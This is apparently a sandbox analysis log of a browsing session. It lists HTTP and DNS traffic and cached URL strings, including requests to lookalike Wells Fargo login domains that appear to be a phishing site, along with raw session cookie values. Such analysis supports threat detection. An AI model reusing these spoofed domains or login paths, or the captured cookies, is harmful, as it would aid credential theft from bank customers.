Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /auth/login/present HTTP/1.1Host: connect.secure.access.wellsfargoadvlsor.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://online.secure.access.wellsfarqoadvlsor.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 00c9-0b5c=cf55061804835399ef45e0f0cad55953fcf6b7a453364e2b56258747b27151f9
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /auth/login/present HTTP/1.1Host: connect.secure.access.wellsfargoadvlsor.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://online.secure.access.wellsfarqoadvlsor.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 00c9-0b5c=cf55061804835399ef45e0f0cad55953fcf6b7a453364e2b56258747b27151f9
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: Ef=y(["https://sandbox.google.com/tools/feedback/"]),Ff=y(["https://www.google.cn/tools/feedback/"]),Gf=y(["https://help.youtube.com/tools/feedback/"]),Hf=y(["https://asx-frontend-staging.corp.google.com/inapp/"]),If=y(["https://asx-frontend-staging.corp.google.com/tools/feedback/"]),Jf=y(["https://localhost.corp.google.com/inapp/"]),Kf=y(["https://localhost.proxy.googlers.com/inapp/"]),Lf=U(nf),Mf=[U(of),U(pf)],Nf=[U(qf),U(rf),U(sf),U(tf),U(uf),U(vf),U(wf),U(xf),U(yf),U(zf)],Of=[U(Af),U(Bf)],Pf= equals www.youtube.com (Youtube)
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: a.DR)==null?void 0:(u=t.pX)==null?void 0:u.q4)&&a.length>0&&(c.length_seconds=Jsa(a[0]))}}return c};var o$b=function(a){lL.call(this,a.oa());this.context=a;this.L=new tg};P(o$b,lL);o$b.prototype.D=function(){return"onYouTubeIframeAPIReady"};o$b.prototype.H=function(){var a=oI(this.context.ka())\|\|new kL;return hPa(z(a,1,"https://www.youtube.com"),"iframe_api")};o$b.prototype.C=function(){return Qk("YT.Player",this.oa().getWindow())};o$b.prototype.Lg=function(){return this.L};var p$b=new Ed("hrvDb","hrvDb");var q$b=function(){Cx.apply(this,arguments)};P(q$b,Cx);var mj={};var rN=function(a){tg.call(this);var b=this;this.context=a;this.D=null;this.R=!1;this.F=0;this.J=null;this.sa(this.context);var c=a.ka();a=a.oa();WH(c)\|\|lg(c,83);this.H=new FDb;var d=r$b(c);IDb(this.H,d,function(){return keb(d,!0)});HDb(this.H,d);this.handler=new Hw(this);this.sa(this.handler);this.C=new kTb;this.sa(this.C);s$b(this,c,a);t$b(this);this.Xb&&Qh(c)&&(this.context.get(DE).start(),this.Xb.Fb({ga:1}),(c=xi(c))&&this.context.get(DE).setEnabled(!!A(c,18,!1)));this.root=(c=Ef(this.context, equals www.youtube.com (Youtube)
Source: chromecache_92.2.dr, chromecache_88.2.dr	String found in binary or memory: function X(a,b){this.v={};this.playerInfo={};this.videoTitle="";this.j=this.g=null;this.h=0;this.m=!1;this.l=[];this.i=null;this.A={};this.options=null;if(!a)throw Error("YouTube player element ID required.");this.id=qa(this);b=Object.assign({title:"video player",videoId:"",width:640,height:360},b\|\|{});var c=document;if(a=typeof a==="string"?c.getElementById(a):a){W.yt_embedsEnableRsaforFromIframeApi&&tb();c=a.tagName.toLowerCase()==="iframe";b.host\|\|(b.host=c?mb(a.src):"https://www.youtube.com");this.options= equals www.youtube.com (Youtube)
Source: chromecache_92.2.dr, chromecache_88.2.dr	String found in binary or memory: function tb(){var a=new rb,b=["https://www.youtube.com"];b=b===void 0?qb:b;oa(function(c){switch(c.g){case 1:return C(c,sb(),2);case 2:if(!c.m){c.g=3;break}return C(c,Promise.all(b.map(function(d){var g;return oa(function(k){if(k.g==1)return k.l=2,C(k,navigator.permissions.query({name:"top-level-storage-access",requestedOrigin:d}),4);k.g!=2?(g=k.m,g.state==="prompt"&&a.g.push(d),k.g=0,k.l=0):(k.l=0,k.i=null,k.g=0)})})),4); equals www.youtube.com (Youtube)
Source: chromecache_74.2.dr, chromecache_91.2.dr	String found in binary or memory: inline:{css:1},disableRealtimeCallback:!1,drive_share:{skipInitCommand:!0},csi:{rate:.01},client:{cors:!1},signInDeprecation:{rate:0},include_granted_scopes:!0,llang:"en",iframes:{youtube:{params:{location:["search","hash"]},url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1",methods:["scroll","openwindow"]},ytsubscribe:{url:"https://www.youtube.com/subscribe_embed?usegapi=1"},plus_circle:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/plus/circle?usegapi=1"}, equals www.youtube.com (Youtube)
Source: chromecache_104.2.dr	String found in binary or memory: var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/0ccfa671\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"}; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: blobcomments-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: peoplestackwebexperiments-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: online.secure.access.wellsfarqoadvlsor.com
Source: global traffic	DNS traffic detected: DNS query: connect.secure.access.wellsfargoadvlsor.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 4153sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://drive.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB

Source: chromecache_108.2.dr, chromecache_84.2.dr, chromecache_73.2.dr, chromecache_120.2.dr	String found in binary or memory: http://csi.gstatic.com/csi
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: http://localhost.corp.google.com/inapp/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: http://localhost.proxy.googlers.com/inapp/
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_127.2.dr, chromecache_100.2.dr	String found in binary or memory: http://www.bohemiancoding.com/sketch
Source: chromecache_127.2.dr, chromecache_100.2.dr	String found in binary or memory: http://www.bohemiancoding.com/sketch/ns
Source: chromecache_84.2.dr, chromecache_73.2.dr, chromecache_90.2.dr, chromecache_78.2.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_108.2.dr, chromecache_120.2.dr	String found in binary or memory: https://accounts.google.com/gsi/ottoken
Source: chromecache_120.2.dr	String found in binary or memory: https://accounts.google.com/o/fedcm/config.json
Source: chromecache_120.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_120.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/iframe
Source: chromecache_96.2.dr, chromecache_97.2.dr, chromecache_87.2.dr, chromecache_81.2.dr, chromecache_74.2.dr, chromecache_91.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_91.2.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_73.2.dr, chromecache_116.2.dr, chromecache_76.2.dr	String found in binary or memory: https://apis.google.com/js/api.js
Source: chromecache_84.2.dr, chromecache_73.2.dr, chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://apis.google.com/js/client.js
Source: chromecache_91.2.dr	String found in binary or memory: https://apis.google.com/js/googleapis.proxy.js
Source: chromecache_112.2.dr	String found in binary or memory: https://apis.google.com/js/googleapis.proxy.js?onload=startup
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://apps-drive-picker-dev.corp.google.com/picker/minpick/main
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.co.uk/inapp/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.co.uk/tools/feedback/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.com/inapp/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.com/tools/feedback/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.de/inapp/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.de/tools/feedback/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.youtube.com/inapp/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.youtube.com/tools/feedback/
Source: chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-staging.corp.google.com/inapp/
Source: chromecache_118.2.dr	String found in binary or memory: https://asx-frontend-staging.corp.google.com/tools/feedback/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-help-frontend-autopush.corp.youtube.com/inapp/
Source: chromecache_113.2.dr, chromecache_118.2.dr	String found in binary or memory: https://asx-help-frontend-autopush.corp.youtube.com/tools/feedback/
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://calendar.google.com/calendar
Source: chromecache_74.2.dr, chromecache_91.2.dr	String found in binary or memory: https://classroom.google.com/sharewidget?usegapi=1
Source: chromecache_74.2.dr, chromecache_91.2.dr	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/widget/backdrop?usegapi=1
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://clients5.google.com
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://clients5.google.com/webstore/wall/widget
Source: chromecache_108.2.dr, chromecache_96.2.dr, chromecache_97.2.dr, chromecache_87.2.dr, chromecache_81.2.dr, chromecache_74.2.dr, chromecache_91.2.dr, chromecache_120.2.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://cloud.google.com/bigquery/docs/connected-sheets
Source: chromecache_73.2.dr	String found in binary or memory: https://cloud.google.com/terms/cloud-privacy-notice
Source: chromecache_108.2.dr, chromecache_120.2.dr	String found in binary or memory: https://console.developers.google.com/
Source: chromecache_108.2.dr, chromecache_96.2.dr, chromecache_97.2.dr, chromecache_87.2.dr, chromecache_81.2.dr, chromecache_74.2.dr, chromecache_91.2.dr, chromecache_120.2.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_108.2.dr, chromecache_84.2.dr, chromecache_73.2.dr, chromecache_120.2.dr	String found in binary or memory: https://csi.gstatic.com/csi
Source: chromecache_74.2.dr, chromecache_91.2.dr	String found in binary or memory: https://dataconnector.corp.google.com/:session_prefix:ui/widgetview?usegapi=1
Source: chromecache_108.2.dr, chromecache_120.2.dr	String found in binary or memory: https://developers.google.com/
Source: chromecache_108.2.dr, chromecache_120.2.dr	String found in binary or memory: https://developers.google.com/api-client-library/javascript/reference/referencedocs
Source: chromecache_120.2.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/gis-migration)
Source: chromecache_92.2.dr, chromecache_88.2.dr	String found in binary or memory: https://developers.google.com/youtube/iframe_api_reference#Events
Source: chromecache_120.2.dr	String found in binary or memory: https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://docs.google.com/document/d/1kganm9BHI3TsF8ogVulX2o4DzzO8XA4gu8aIKneTTNU/preview
Source: chromecache_96.2.dr, chromecache_97.2.dr, chromecache_87.2.dr, chromecache_81.2.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://drive.google.com
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://drive.google.com/drive/my-drive
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://drive.google.com/picker/minpick/main
Source: chromecache_84.2.dr, chromecache_73.2.dr	String found in binary or memory: https://drive.google.com/requestreview?id=
Source: chromecache_74.2.dr, chromecache_91.2.dr	String found in binary or memory: https://drive.google.com/savetodrivebutton?usegapi=1
